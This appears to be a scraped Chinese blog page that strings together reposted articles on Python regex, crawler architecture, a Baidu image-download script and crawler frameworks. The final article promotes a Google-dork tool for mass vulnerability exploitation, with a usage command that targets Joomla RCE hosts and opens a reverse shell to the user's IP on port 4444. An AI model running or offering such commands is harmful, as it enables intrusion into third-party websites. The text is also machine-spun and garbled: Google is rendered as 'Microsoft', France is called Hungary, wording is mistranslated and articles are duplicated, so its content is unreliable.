  Python 還 包 含 了 一 個(gè) 數 據 類(lèi) 型—— set ( 集 合 ) 。 集 合 是 一 個(gè) 無(wú) 序 不 重 復 元素 的 集 。 基 本 功 能 包 括 關(guān) 系 測 試 和 消 除 重 復 元 素 。 集 合 對 象 還 支 持 union( 聯(lián)
  合),intersection(交),difference(差)和 sysmmetric difference(對稱(chēng)差集)等物理運算。
  大括號或 set() 函數可以拿來(lái)創(chuàng )建集合。 注意:想要創(chuàng )建空集合,你必須使用set() 而不是 {} 。{}用于創(chuàng )建空字典;
  集合的創(chuàng )建演示如下:
  
  正則表達式
  在爬蟲(chóng)時(shí)搜集回去的通常是字符流,我們要從中選購出url就要求有簡(jiǎn)單的字符串處理能力,而用正則表達式可以輕松的完成這一任務(wù);
  正則表達式的步驟:1,正則表達式的編譯 2,正則表達式匹配字符串 3,結果的處理
  下圖列舉了正則表達式的句型:
  
  在pytho中使用正則表達式網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,需要引入re模塊;下面介紹下該模塊中的一些技巧;
  pile和match
  re模塊中compile用于生成pattern的對象,再通過(guò)調用pattern實(shí)例的match方式處理文本最終獲得match實(shí)例;通過(guò)使用match獲得信息;
  
  
  
  pattern:
  Pattern對象是一個(gè)編譯好的正則表達式,通過(guò)Pattern提供的一系列方式可以對文本進(jìn)行匹配查找。
  Pattern不能直接實(shí)例化,必須使用pile()進(jìn)行構造。
  
  2.re.match(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.match方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  
  
  
  re.search方式
  re.search 掃描整個(gè)字符串并返回第一個(gè)成功的匹配。
  函數句型:
  re.search(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.search方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  實(shí)例一:
  
  
  search和match區別:
  re.match只匹配字符串的開(kāi)始,如果字符串開(kāi)始不符合正則表達式,則匹配失敗,函數返回None;而re.search匹配整個(gè)字符串網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,直到找到一個(gè)匹配。
  python爬蟲(chóng)小試牛刀
  利用python抓取頁(yè)面中所有的http合同的鏈接,并遞歸抓取子頁(yè)面的鏈接。使用了集合和隊列;此去爬的是我的網(wǎng)站,第一版好多bug;
  代碼如下:
  
  
  
  那么你學(xué)會(huì )了嗎?

Python爬蟲(chóng)的用途

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 372 次瀏覽 ? 2020-06-30 08:01 ? 來(lái)自相關(guān)話(huà)題

  Python 爬蟲(chóng)的用途 Python 爬蟲(chóng)是用 Python 編程語(yǔ)言實(shí)現的網(wǎng)路爬蟲(chóng),主要用于網(wǎng)路數據的抓取和處理,相比于其他語(yǔ)言,Python 是一門(mén)特別適宜開(kāi)發(fā)網(wǎng)路爬蟲(chóng)的編程語(yǔ)言,大量外置包,可以輕松實(shí)現網(wǎng)路爬蟲(chóng)功能。 Python 爬蟲(chóng)可以做的事情好多,如搜索引擎、采集數據、廣告過(guò)濾等,Python爬蟲(chóng)還可以用于數據剖析,在數據的抓取方面可以作用巨大! n Python 爬蟲(chóng)構架組成 1. URL 管理器:管理待爬取的 url 集合和已爬取的 url 集合,傳送待爬取的 url 給網(wǎng)頁(yè)下載器; 2. 網(wǎng)頁(yè)下載器:爬取 url 對應的網(wǎng)頁(yè),存儲成字符串,傳送給網(wǎng)頁(yè)解析器; 3. 網(wǎng)頁(yè)解析器:解析出有價(jià)值的數據,存儲出來(lái),同時(shí)補充 url 到 URL 管理器。 n Python 爬蟲(chóng)工作原理 Python 爬蟲(chóng)通過(guò) URL 管理器,判斷是否有待爬 URL,如果有待爬 URL,通過(guò)調度器進(jìn)行傳遞給下載器網(wǎng)絡(luò )爬蟲(chóng) 作用,下載 URL 內容,并通過(guò)調度器傳送給解析器,解析URL 內容,并將價(jià)值數據和新 URL 列表通過(guò)調度器傳遞給應用程序,并輸出價(jià)值信息的過(guò)程。 n Python 爬蟲(chóng)常用框架有: grab:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 pycurl/multicur); scrapy:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 twisted),不支持 Python3; pyspider:一個(gè)強悍的爬蟲(chóng)系統;cola:一個(gè)分布式爬蟲(chóng)框架; portia:基于 Scrapy 的可視化爬蟲(chóng); restkit:Python 的 HTTP 資源工具包。它可以使你輕松地訪(fǎng)問(wèn) HTTP 資源,并圍繞它完善的對象; demiurge:基于 PyQuery 的爬蟲(chóng)微框架。 Python 爬蟲(chóng)應用領(lǐng)域廣泛,在網(wǎng)絡(luò )爬蟲(chóng)領(lǐng)域處于霸主位置,Scrapy、Request、BeautifuSoap、urlib 等框架的應用,可以實(shí)現爬行自如的功能,只要您數據抓取看法網(wǎng)絡(luò )爬蟲(chóng) 作用,Python 爬蟲(chóng)均可實(shí)現! 查看全部

  Python 爬蟲(chóng)的用途 Python 爬蟲(chóng)是用 Python 編程語(yǔ)言實(shí)現的網(wǎng)路爬蟲(chóng),主要用于網(wǎng)路數據的抓取和處理,相比于其他語(yǔ)言,Python 是一門(mén)特別適宜開(kāi)發(fā)網(wǎng)路爬蟲(chóng)的編程語(yǔ)言,大量外置包,可以輕松實(shí)現網(wǎng)路爬蟲(chóng)功能。 Python 爬蟲(chóng)可以做的事情好多,如搜索引擎、采集數據、廣告過(guò)濾等,Python爬蟲(chóng)還可以用于數據剖析,在數據的抓取方面可以作用巨大! n Python 爬蟲(chóng)構架組成 1. URL 管理器:管理待爬取的 url 集合和已爬取的 url 集合,傳送待爬取的 url 給網(wǎng)頁(yè)下載器; 2. 網(wǎng)頁(yè)下載器:爬取 url 對應的網(wǎng)頁(yè),存儲成字符串,傳送給網(wǎng)頁(yè)解析器; 3. 網(wǎng)頁(yè)解析器:解析出有價(jià)值的數據,存儲出來(lái),同時(shí)補充 url 到 URL 管理器。 n Python 爬蟲(chóng)工作原理 Python 爬蟲(chóng)通過(guò) URL 管理器,判斷是否有待爬 URL,如果有待爬 URL,通過(guò)調度器進(jìn)行傳遞給下載器網(wǎng)絡(luò )爬蟲(chóng) 作用,下載 URL 內容,并通過(guò)調度器傳送給解析器,解析URL 內容,并將價(jià)值數據和新 URL 列表通過(guò)調度器傳遞給應用程序,并輸出價(jià)值信息的過(guò)程。 n Python 爬蟲(chóng)常用框架有: grab:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 pycurl/multicur); scrapy:網(wǎng)絡(luò )爬蟲(chóng)框架(基于 twisted),不支持 Python3; pyspider:一個(gè)強悍的爬蟲(chóng)系統;cola:一個(gè)分布式爬蟲(chóng)框架; portia:基于 Scrapy 的可視化爬蟲(chóng); restkit:Python 的 HTTP 資源工具包。它可以使你輕松地訪(fǎng)問(wèn) HTTP 資源,并圍繞它完善的對象; demiurge:基于 PyQuery 的爬蟲(chóng)微框架。 Python 爬蟲(chóng)應用領(lǐng)域廣泛,在網(wǎng)絡(luò )爬蟲(chóng)領(lǐng)域處于霸主位置,Scrapy、Request、BeautifuSoap、urlib 等框架的應用,可以實(shí)現爬行自如的功能,只要您數據抓取看法網(wǎng)絡(luò )爬蟲(chóng) 作用,Python 爬蟲(chóng)均可實(shí)現!

Python爬蟲(chóng)實(shí)現百度圖片手動(dòng)下載

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 357 次瀏覽 ? 2020-06-29 08:01 ? 來(lái)自相關(guān)話(huà)題

  制作一個(gè)爬蟲(chóng)通常分以下幾個(gè)步驟:
  分析需求剖析網(wǎng)頁(yè)源代碼,配合開(kāi)發(fā)者工具編撰正則表達式或則XPath表達式即將編撰 python 爬蟲(chóng)代碼 效果預覽
  運行療效如下:
  
  存放圖片的文件夾:
  
  我們的爬蟲(chóng)起碼要實(shí)現兩個(gè)功能:一是搜索圖片,二是手動(dòng)下載。
  搜索圖片:最容易想到的是爬百度圖片的結果,我們就上百度圖片瞧瞧:
  
  隨便搜索幾個(gè)關(guān)鍵字,可以看見(jiàn)早已搜索下來(lái)好多張圖片:
  
  我們點(diǎn)擊右鍵,查看源代碼:
  
  打開(kāi)源代碼以后,發(fā)現一堆源代碼比較難找出我們想要的資源。
  這個(gè)時(shí)侯,就要用開(kāi)發(fā)者工具!我們回到上一頁(yè)面,調出開(kāi)發(fā)者工具,我們須要用的是左上角那種東西:(鼠標追隨)。
  
  然后選擇你想看源代碼的地方,就可以發(fā)覺(jué),下面的代碼市手動(dòng)定位到了相應的位置。如下圖:
  
  
  我們復制這個(gè)地址,然后到昨天的一堆源代碼里搜索一下百度圖片 爬蟲(chóng),發(fā)現了它的位置,但是這兒我們又困惑了,這個(gè)圖片有這么多地址,到底用那個(gè)呢?我們可以看見(jiàn)有thumbURL,middleURL,hoverURL,objURL
  
  通過(guò)剖析可以曉得,前面兩個(gè)是縮小的版本,hoverURL 是鍵盤(pán)聯(lián)通之后顯示的版本,objURL 應該是我們須要的,可以分別打開(kāi)這幾個(gè)網(wǎng)址瞧瞧,發(fā)現 objURL 的那種最大最清晰。
  找到了圖片地址,接下來(lái)我們剖析源代碼??纯词遣皇撬械?objURL 都是圖片。
  
  發(fā)現都是以.jpg格式結尾的圖片。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  這里我們用了2個(gè)包百度圖片 爬蟲(chóng),一個(gè)是正則,一個(gè)是 requests 包
  
#-*- coding:utf-8 -*-
import re
import requests
  復制百度圖片搜索的鏈接,傳入 requests ,然后把正則表達式寫(xiě)好
  
  
url = 'https://image.baidu.com/search/index&#63;tn=baiduimage&amp;ie=utf-8&amp;word=%E6%A0%97%E5%B1%B1%E6%9C%AA%E6%9D%A5%E5%A4%B4%E5%83%8F&amp;ct=201326592&amp;ic=0&amp;lm=-1&amp;width=&amp;height=&amp;v=index' html = requests.get(url).text pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  因為有很多張圖片,所以要循環(huán),我們復印出結果來(lái)瞧瞧,然后用 requests 獲取網(wǎng)址,由于有些圖片可能存在網(wǎng)址打不開(kāi)的情況,所以加了10秒超時(shí)控制。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S) i = 1 for each in pic_url:
print each
try:
pic= requests.get(each, timeout=10)
except requests.exceptions.ConnectionError: print('【錯誤】當前圖片無(wú)法下載')
continue
  接著(zhù)就是把圖片保存出來(lái),我們事先構建好一個(gè) images 目錄,把圖片都放進(jìn)去,命名的時(shí)侯,以數字命名。
  
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
  完整的代碼
  
# -*- coding:utf-8 -*-
import re
import requests
def dowmloadPic(html, keyword):
pic_url = re.findall('"objURL":"(.*&#63;)",', html, re.S)
i = 1
print('找到關(guān)鍵詞:' + keyword + '的圖片,現在開(kāi)始下載圖片...')
for each in pic_url:
print('正在下載第' + str(i) + '張圖片,圖片地址:' + str(each))
try:
pic = requests.get(each, timeout=10)
except requests.exceptions.ConnectionError:
print('【錯誤】當前圖片無(wú)法下載')
continue
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
if __name__ == '__main__':
word = input("Input key word: ")
url = 'http://image.baidu.com/search/flip&#63;tn=baiduimage&amp;ie=utf-8&amp;word=' + word + '&amp;ct=201326592&amp;v=flip'
result = requests.get(url)
dowmloadPic(result.text, word)
  
  
  我們聽(tīng)到有的圖片沒(méi)顯示下來(lái),打開(kāi)網(wǎng)址看,發(fā)現確實(shí)沒(méi)了。
  
  因為百度有些圖片它緩存到百度的服務(wù)器上,所以我們在百度上能夠看到它,但它的實(shí)際鏈接早已失效了。
  enjoy 我們的第一個(gè)圖片下載爬蟲(chóng)吧!當然它除了能下載百度的圖片,依葫蘆畫(huà)瓢,你如今應當能做好多事情了,比如爬取頭像,爬天貓展示圖等等。
  完整代碼已然放在Githut上 查看全部

  制作一個(gè)爬蟲(chóng)通常分以下幾個(gè)步驟:
  分析需求剖析網(wǎng)頁(yè)源代碼,配合開(kāi)發(fā)者工具編撰正則表達式或則XPath表達式即將編撰 python 爬蟲(chóng)代碼 效果預覽
  運行療效如下:
  
  存放圖片的文件夾:
  
  我們的爬蟲(chóng)起碼要實(shí)現兩個(gè)功能:一是搜索圖片,二是手動(dòng)下載。
  搜索圖片:最容易想到的是爬百度圖片的結果,我們就上百度圖片瞧瞧:
  
  隨便搜索幾個(gè)關(guān)鍵字,可以看見(jiàn)早已搜索下來(lái)好多張圖片:
  
  我們點(diǎn)擊右鍵,查看源代碼:
  
  打開(kāi)源代碼以后,發(fā)現一堆源代碼比較難找出我們想要的資源。
  這個(gè)時(shí)侯,就要用開(kāi)發(fā)者工具!我們回到上一頁(yè)面,調出開(kāi)發(fā)者工具,我們須要用的是左上角那種東西:(鼠標追隨)。
  
  然后選擇你想看源代碼的地方,就可以發(fā)覺(jué),下面的代碼市手動(dòng)定位到了相應的位置。如下圖:
  
  
  我們復制這個(gè)地址,然后到昨天的一堆源代碼里搜索一下百度圖片 爬蟲(chóng),發(fā)現了它的位置,但是這兒我們又困惑了,這個(gè)圖片有這么多地址,到底用那個(gè)呢?我們可以看見(jiàn)有thumbURL,middleURL,hoverURL,objURL
  
  通過(guò)剖析可以曉得,前面兩個(gè)是縮小的版本,hoverURL 是鍵盤(pán)聯(lián)通之后顯示的版本,objURL 應該是我們須要的,可以分別打開(kāi)這幾個(gè)網(wǎng)址瞧瞧,發(fā)現 objURL 的那種最大最清晰。
  找到了圖片地址,接下來(lái)我們剖析源代碼??纯词遣皇撬械?objURL 都是圖片。
  
  發(fā)現都是以.jpg格式結尾的圖片。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  這里我們用了2個(gè)包百度圖片 爬蟲(chóng),一個(gè)是正則,一個(gè)是 requests 包
  
#-*- coding:utf-8 -*-
import re
import requests
  復制百度圖片搜索的鏈接,傳入 requests ,然后把正則表達式寫(xiě)好
  
  
url = 'https://image.baidu.com/search/index&#63;tn=baiduimage&amp;ie=utf-8&amp;word=%E6%A0%97%E5%B1%B1%E6%9C%AA%E6%9D%A5%E5%A4%B4%E5%83%8F&amp;ct=201326592&amp;ic=0&amp;lm=-1&amp;width=&amp;height=&amp;v=index' html = requests.get(url).text pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S)
  因為有很多張圖片,所以要循環(huán),我們復印出結果來(lái)瞧瞧,然后用 requests 獲取網(wǎng)址,由于有些圖片可能存在網(wǎng)址打不開(kāi)的情況,所以加了10秒超時(shí)控制。
  
pic_url = re.findall('"objURL":"(.*&#63;)",',html,re.S) i = 1 for each in pic_url:
print each
try:
pic= requests.get(each, timeout=10)
except requests.exceptions.ConnectionError: print('【錯誤】當前圖片無(wú)法下載')
continue
  接著(zhù)就是把圖片保存出來(lái),我們事先構建好一個(gè) images 目錄,把圖片都放進(jìn)去,命名的時(shí)侯,以數字命名。
  
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
  完整的代碼
  
# -*- coding:utf-8 -*-
import re
import requests
def dowmloadPic(html, keyword):
pic_url = re.findall('"objURL":"(.*&#63;)",', html, re.S)
i = 1
print('找到關(guān)鍵詞:' + keyword + '的圖片,現在開(kāi)始下載圖片...')
for each in pic_url:
print('正在下載第' + str(i) + '張圖片,圖片地址:' + str(each))
try:
pic = requests.get(each, timeout=10)
except requests.exceptions.ConnectionError:
print('【錯誤】當前圖片無(wú)法下載')
continue
dir = '../images/' + keyword + '_' + str(i) + '.jpg'
fp = open(dir, 'wb')
fp.write(pic.content)
fp.close()
i += 1
if __name__ == '__main__':
word = input("Input key word: ")
url = 'http://image.baidu.com/search/flip&#63;tn=baiduimage&amp;ie=utf-8&amp;word=' + word + '&amp;ct=201326592&amp;v=flip'
result = requests.get(url)
dowmloadPic(result.text, word)
  
  
  我們聽(tīng)到有的圖片沒(méi)顯示下來(lái),打開(kāi)網(wǎng)址看,發(fā)現確實(shí)沒(méi)了。
  
  因為百度有些圖片它緩存到百度的服務(wù)器上,所以我們在百度上能夠看到它,但它的實(shí)際鏈接早已失效了。
  enjoy 我們的第一個(gè)圖片下載爬蟲(chóng)吧!當然它除了能下載百度的圖片,依葫蘆畫(huà)瓢,你如今應當能做好多事情了,比如爬取頭像,爬天貓展示圖等等。
  完整代碼已然放在Githut上

開(kāi)源爬蟲(chóng)框架各有哪些優(yōu)缺點(diǎn)?

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 277 次瀏覽 ? 2020-06-27 08:00 ? 來(lái)自相關(guān)話(huà)題

  爬蟲(chóng)是一個(gè)很復雜的系統,可以從多種不同的角度進(jìn)行分類(lèi),前面一些回答早已涉及了不少,我想從信息抓取和提取,手工編碼和可視化,靜態(tài)頁(yè)面剖析和互動(dòng)這三個(gè)方面再討論一下。
  1,信息抓取和提取
  信息抓取是指怎樣獲得網(wǎng)站上的信息的過(guò)程,而信息提取是指怎樣從獲得的頁(yè)面上辨識出自己所須要的信息的過(guò)程。使用爬蟲(chóng)爬取單個(gè)或則少數網(wǎng)站的時(shí)侯,那么主要需解決抓取問(wèn)題,而目標網(wǎng)站數目好多的時(shí)侯,信息提取就成為主要矛盾。
  舉個(gè)事例,Scrapy是一個(gè)解決信息抓取問(wèn)題的軟件平臺。而使用Xpath或則CSS Selector可進(jìn)行少量站點(diǎn)的信息提取,但面對大規模信息提取Xpath就無(wú)能為力了,在這些情況下,應該使用一些機器學(xué)習算法開(kāi)源爬蟲(chóng)軟件,比如IBL(Instance based Learning),可以按照某網(wǎng)站的一個(gè)或則少量頁(yè)面進(jìn)行學(xué)習,然后快速生成該網(wǎng)站的辨識模型,scrapely就是這樣的一個(gè)軟件模塊。
  2,手工編碼和可視化
  我們在網(wǎng)路上見(jiàn)到的大部分教程,都是基于某種編程語(yǔ)言(比如Python)和軟件庫(比如Scrapy)進(jìn)行手工編碼的,這種方法的優(yōu)點(diǎn)是十分靈活,可擴展性好,能針對特定站點(diǎn)給出高效的實(shí)現。但它的缺點(diǎn)也是顯著(zhù)的,就是須要爬蟲(chóng)開(kāi)發(fā)人員懂編程語(yǔ)言,門(mén)檻比較高。
  為了解決這個(gè)問(wèn)題,人們又提出了可視化爬蟲(chóng),在定義可視化爬蟲(chóng)時(shí),遠程網(wǎng)站的頁(yè)面將直觀(guān)地展示下來(lái),然后人們可以通過(guò)鍵盤(pán)進(jìn)行點(diǎn)擊操作,就可以定義爬取邏輯(包括爬取目標、爬取次序、爬取深度等)和抓取邏輯(頁(yè)面中的哪部份內容應當被辨識為屬性),和手工編碼爬蟲(chóng)相比,可視化爬蟲(chóng)大大增加了爬蟲(chóng)定義的門(mén)檻,但是爬取效率不如手工編程的高,另外,由于可視化爬蟲(chóng)對爬取邏輯進(jìn)行了具象,可能難以做到對于一些特殊網(wǎng)站的支持。
  Portia就是一個(gè)典型的可視化爬蟲(chóng),人們常常覺(jué)得pyspider也是一個(gè)可視化爬蟲(chóng),但似乎并不是,pyspider只是一個(gè)擁有GUI的手工編碼爬蟲(chóng)。
  3,被動(dòng)爬蟲(chóng)和互動(dòng)爬蟲(chóng)
  大部分爬蟲(chóng)都是基于對頁(yè)面進(jìn)行剖析,如果須要將使用瀏覽器引擎對頁(yè)面中的Javascript代碼進(jìn)行執行,然后獲得渲染后的頁(yè)面,再從中提取出自己所須要的信息。
  但有些情況下,我們還須要才能和這種頁(yè)面進(jìn)行互動(dòng),比如輸入用戶(hù)名和口令登錄到系統中去之后再進(jìn)行爬取,又例如我們須要輸入關(guān)鍵字之后只爬取搜索結果。在這種情況下,我們須要在爬蟲(chóng)定義時(shí)才能將這種用戶(hù)輸入保存出來(lái),然后在爬蟲(chóng)執行期,將這種交互信息重新回放回來(lái),就像一個(gè)人在做這種動(dòng)作一樣。
  Selenium是這些爬蟲(chóng)的一個(gè)事例,用戶(hù)用Selenium IDE錄制用戶(hù)動(dòng)作,保存為Selenese命令序列,然后使用Web driver模仿瀏覽器重放這種命令。交互式爬蟲(chóng)的優(yōu)點(diǎn)是可以象人一樣作出各類(lèi)動(dòng)作,缺點(diǎn)是因為須要建立完整的瀏覽器引擎開(kāi)源爬蟲(chóng)軟件,系統開(kāi)支十分大,爬取效率太低。
  最后,做一個(gè)廣告,我近來(lái)開(kāi)源了一個(gè)爬蟲(chóng)portia-dashboard, 按照上面的分類(lèi)方式,這個(gè)爬蟲(chóng)是一個(gè)“面向多個(gè)站點(diǎn)的”、“主要支持信息抓取的”、“同時(shí)支持被動(dòng)抓取和互動(dòng)抓取” 的“可視化”爬蟲(chóng),而且提供了Portia中沒(méi)有的dashboard功能,使用dashboard可以布署爬蟲(chóng)、啟動(dòng)爬蟲(chóng)、監控爬蟲(chóng)狀態(tài),瀏覽提取的信息等等。
  使用代碼安裝可能有點(diǎn)復雜,最簡(jiǎn)單的方式是使用docker, 歡迎你們使用,并提出寶貴意見(jiàn)。 查看全部

  爬蟲(chóng)是一個(gè)很復雜的系統,可以從多種不同的角度進(jìn)行分類(lèi),前面一些回答早已涉及了不少,我想從信息抓取和提取,手工編碼和可視化,靜態(tài)頁(yè)面剖析和互動(dòng)這三個(gè)方面再討論一下。
  1,信息抓取和提取
  信息抓取是指怎樣獲得網(wǎng)站上的信息的過(guò)程,而信息提取是指怎樣從獲得的頁(yè)面上辨識出自己所須要的信息的過(guò)程。使用爬蟲(chóng)爬取單個(gè)或則少數網(wǎng)站的時(shí)侯,那么主要需解決抓取問(wèn)題,而目標網(wǎng)站數目好多的時(shí)侯,信息提取就成為主要矛盾。
  舉個(gè)事例,Scrapy是一個(gè)解決信息抓取問(wèn)題的軟件平臺。而使用Xpath或則CSS Selector可進(jìn)行少量站點(diǎn)的信息提取,但面對大規模信息提取Xpath就無(wú)能為力了,在這些情況下,應該使用一些機器學(xué)習算法開(kāi)源爬蟲(chóng)軟件,比如IBL(Instance based Learning),可以按照某網(wǎng)站的一個(gè)或則少量頁(yè)面進(jìn)行學(xué)習,然后快速生成該網(wǎng)站的辨識模型,scrapely就是這樣的一個(gè)軟件模塊。
  2,手工編碼和可視化
  我們在網(wǎng)路上見(jiàn)到的大部分教程,都是基于某種編程語(yǔ)言(比如Python)和軟件庫(比如Scrapy)進(jìn)行手工編碼的,這種方法的優(yōu)點(diǎn)是十分靈活,可擴展性好,能針對特定站點(diǎn)給出高效的實(shí)現。但它的缺點(diǎn)也是顯著(zhù)的,就是須要爬蟲(chóng)開(kāi)發(fā)人員懂編程語(yǔ)言,門(mén)檻比較高。
  為了解決這個(gè)問(wèn)題,人們又提出了可視化爬蟲(chóng),在定義可視化爬蟲(chóng)時(shí),遠程網(wǎng)站的頁(yè)面將直觀(guān)地展示下來(lái),然后人們可以通過(guò)鍵盤(pán)進(jìn)行點(diǎn)擊操作,就可以定義爬取邏輯(包括爬取目標、爬取次序、爬取深度等)和抓取邏輯(頁(yè)面中的哪部份內容應當被辨識為屬性),和手工編碼爬蟲(chóng)相比,可視化爬蟲(chóng)大大增加了爬蟲(chóng)定義的門(mén)檻,但是爬取效率不如手工編程的高,另外,由于可視化爬蟲(chóng)對爬取邏輯進(jìn)行了具象,可能難以做到對于一些特殊網(wǎng)站的支持。
  Portia就是一個(gè)典型的可視化爬蟲(chóng),人們常常覺(jué)得pyspider也是一個(gè)可視化爬蟲(chóng),但似乎并不是,pyspider只是一個(gè)擁有GUI的手工編碼爬蟲(chóng)。
  3,被動(dòng)爬蟲(chóng)和互動(dòng)爬蟲(chóng)
  大部分爬蟲(chóng)都是基于對頁(yè)面進(jìn)行剖析,如果須要將使用瀏覽器引擎對頁(yè)面中的Javascript代碼進(jìn)行執行,然后獲得渲染后的頁(yè)面,再從中提取出自己所須要的信息。
  但有些情況下,我們還須要才能和這種頁(yè)面進(jìn)行互動(dòng),比如輸入用戶(hù)名和口令登錄到系統中去之后再進(jìn)行爬取,又例如我們須要輸入關(guān)鍵字之后只爬取搜索結果。在這種情況下,我們須要在爬蟲(chóng)定義時(shí)才能將這種用戶(hù)輸入保存出來(lái),然后在爬蟲(chóng)執行期,將這種交互信息重新回放回來(lái),就像一個(gè)人在做這種動(dòng)作一樣。
  Selenium是這些爬蟲(chóng)的一個(gè)事例,用戶(hù)用Selenium IDE錄制用戶(hù)動(dòng)作,保存為Selenese命令序列,然后使用Web driver模仿瀏覽器重放這種命令。交互式爬蟲(chóng)的優(yōu)點(diǎn)是可以象人一樣作出各類(lèi)動(dòng)作,缺點(diǎn)是因為須要建立完整的瀏覽器引擎開(kāi)源爬蟲(chóng)軟件,系統開(kāi)支十分大,爬取效率太低。
  最后,做一個(gè)廣告,我近來(lái)開(kāi)源了一個(gè)爬蟲(chóng)portia-dashboard, 按照上面的分類(lèi)方式,這個(gè)爬蟲(chóng)是一個(gè)“面向多個(gè)站點(diǎn)的”、“主要支持信息抓取的”、“同時(shí)支持被動(dòng)抓取和互動(dòng)抓取” 的“可視化”爬蟲(chóng),而且提供了Portia中沒(méi)有的dashboard功能,使用dashboard可以布署爬蟲(chóng)、啟動(dòng)爬蟲(chóng)、監控爬蟲(chóng)狀態(tài),瀏覽提取的信息等等。
  使用代碼安裝可能有點(diǎn)復雜,最簡(jiǎn)單的方式是使用docker, 歡迎你們使用,并提出寶貴意見(jiàn)。

好用的Google漏洞爬蟲(chóng):Google Mass Explorer

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 442 次瀏覽 ? 2020-06-26 08:01 ? 來(lái)自相關(guān)話(huà)題

  
  這是一款基于微軟搜索引擎的自動(dòng)化爬蟲(chóng)。
  爬蟲(chóng)大體機制就是:
  先進(jìn)行一次微軟搜索,將結果解析為特定格式,然后再提供給exp使用。
  大家可以嘗試使用–help來(lái)列舉所有參數。
  這個(gè)項目筆者會(huì )持續更新,以后再添加新的exp進(jìn)行升級。此外谷歌搜索爬蟲(chóng),它會(huì )借助google_parsers模塊去建立exp解析搜索結果,所以當你開(kāi)始搜索時(shí),可以選擇“–exploit parser”參數來(lái)指定相應exp。
  google parsers模塊(google_parsers.py)以后就會(huì )繼續優(yōu)化,而現今的exp只富含joomla cve谷歌搜索爬蟲(chóng),畢竟這個(gè)項目主要是給你們自己diy使用的。但是,如果你不會(huì )弄exp,把借助exp遞交給過(guò)來(lái)也行。
  由于筆者平常還是比較忙,所以沒(méi)有太多時(shí)間去自動(dòng)搜索目標。故而,筆者嘗試使用Selenium框架去造了個(gè)爬蟲(chóng)來(lái)搜救測試目標。至于搜索過(guò)程中出現的Google的驗證碼,它須要其他庫和模塊來(lái)輔助解決。在項目里使用Selenium后,大家就可以在微軟出現驗證碼的是時(shí)侯,自行自動(dòng)輸入驗證碼,然后爬蟲(chóng)就可以繼續爬行了。這大約是筆者能想出的最好的解決驗證碼防護的辦法了。
  簡(jiǎn)單概述下爬蟲(chóng)是怎樣工作的:
  1. 執行微軟搜索
  2. 從每一頁(yè)解析結果
  3. 測試是否結果中富含漏洞
  這個(gè)項目須要python3,使用requirements安裝依賴(lài)庫的方式如下:
  $ sudo pip install -r requirements.txt
  運行示例:
  python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="Fran&ccedil;a" --last_update="no &uacute;ltimo m&ecirc;s"
  在前面的事例里,筆者是在找尋匈牙利的joomla RCE目標,使用的是google_domains.txt上面的google域名(比如google.co.uk)來(lái)作為搜索引擎,“–last_update”則代表著(zhù)搜索結果的更新時(shí)間為上個(gè)月。
  上面事例里的選項適用于任何語(yǔ)言,主要決定于google針對相應的國家給出的句型。
  下面再給出一個(gè)簡(jiǎn)單的事例:
  python3 google_explorer.py --browser='chrome' --dork='site:gob.ve inurl:index.php' --location="Venezuela"
  當然,這些exp也是可以單獨使用的:
  $ cd xpl_parsers
  $ python joomla_cve_2015_8562.py
  單獨測試exp的方式:
  $ cd exploits
  $ python exploiter.py --file &lt;vuln file&gt; 查看全部

  
  這是一款基于微軟搜索引擎的自動(dòng)化爬蟲(chóng)。
  爬蟲(chóng)大體機制就是:
  先進(jìn)行一次微軟搜索,將結果解析為特定格式,然后再提供給exp使用。
  大家可以嘗試使用–help來(lái)列舉所有參數。
  這個(gè)項目筆者會(huì )持續更新,以后再添加新的exp進(jìn)行升級。此外谷歌搜索爬蟲(chóng),它會(huì )借助google_parsers模塊去建立exp解析搜索結果,所以當你開(kāi)始搜索時(shí),可以選擇“–exploit parser”參數來(lái)指定相應exp。
